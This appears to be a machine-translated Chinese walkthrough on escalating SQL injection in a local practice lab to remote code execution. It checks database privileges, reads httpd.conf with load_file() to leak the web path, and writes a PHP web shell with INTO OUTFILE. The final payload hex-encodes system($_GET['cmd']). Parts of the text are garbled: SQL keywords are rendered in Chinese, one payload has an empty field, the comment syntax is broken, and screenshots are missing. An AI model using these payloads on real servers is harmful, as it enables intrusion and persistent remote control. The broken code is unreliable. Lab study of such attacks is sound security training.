什么是SQL注入?
SQL 注入是一種針對使用 SQL(結構化查詢語言)數據庫的 Web 應用程序的攻擊。攻擊涉及將惡意 SQL 代碼注入 Web 應用程序的輸入字段,然后可以由應用程序的數據庫執行。
SQL 注入攻擊旨在利用應用程序代碼中的漏洞,使攻擊者能夠訪問敏感信息或操縱數據庫。例如,攻擊者可以使用 SQL 注入竊取用戶憑據并修改或刪除數據
所以有一個不同的場景,如果當前數據庫用戶有寫權限,我們可以獲得 RCE(遠程代碼執行)
測試開始
易受攻擊的應用程序:http://localhost/sqlilabs/practice/example1.php?id=1
我要檢查當前的數據庫用戶名以及用戶是否有寫權限
我將簡單地調用用戶函數user()來打印當前數據庫的用戶名
它會像那樣輸出

所以我們必須檢查用戶 root 是否有寫權限
我們將執行查詢“(select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges)”
我得到了這樣的輸出

所以我們現在有寫入權限,我們可以使用outfile在服務器上寫入
還有兩件事 1:我們需要一個服務器路徑 2:一個可寫目錄
對于路徑泄露,我們可以嘗試讀取服務器上的配置文件,如httpd.conf 或 access_log等 ,這取決于 我們找到httpd.conf文件的服務器 ,我們可以獲得服務器路徑
現在我們將使用load_file()函數來讀取“ httpd.conf”

讀取配置文件后我們得到了服務器路徑
現在我們可以使用outfile寫入以在服務器上獲取 RCE
http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,,3 進入輸出文件 '/opt/lampp/htdocs/shell.php' - +
如果它不起作用嘗試使用十六進制編碼
http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 into outfile '/opt/lampp/htdocs/shell.php' - +

betasec
合天網安實驗室
雁行安全團隊
一顆小胡椒
骨哥說事
安全圈
黑白之道
關鍵基礎設施安全應急響應中心
LemonSec
HACK學習呀
安全圈
奇安信集團